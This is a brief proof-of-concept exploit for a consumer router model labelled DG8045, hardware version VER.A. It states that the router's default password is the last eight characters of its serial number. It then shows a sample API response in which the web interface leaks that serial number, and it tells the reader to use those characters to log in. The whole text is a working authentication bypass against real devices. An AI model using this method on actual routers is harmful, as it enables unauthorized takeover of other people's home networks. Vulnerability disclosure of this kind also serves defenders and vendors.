# Hardware Version: VER.A
#POC:
The default password of this router is the last 8 characters of the
device's serial number which exist in the back of the device.
An attacker can leak the serial number via the web app API like the
following:

while(1); /*{"DeviceName":"DG8045","SerialNumber":"21530369847SK9252081","ManufacturerOUI":"00E0FC","UpTime":81590,"HardwareVersion":"VER.A"}*/
You can use that serial number last 8 char/digits to login to the router.
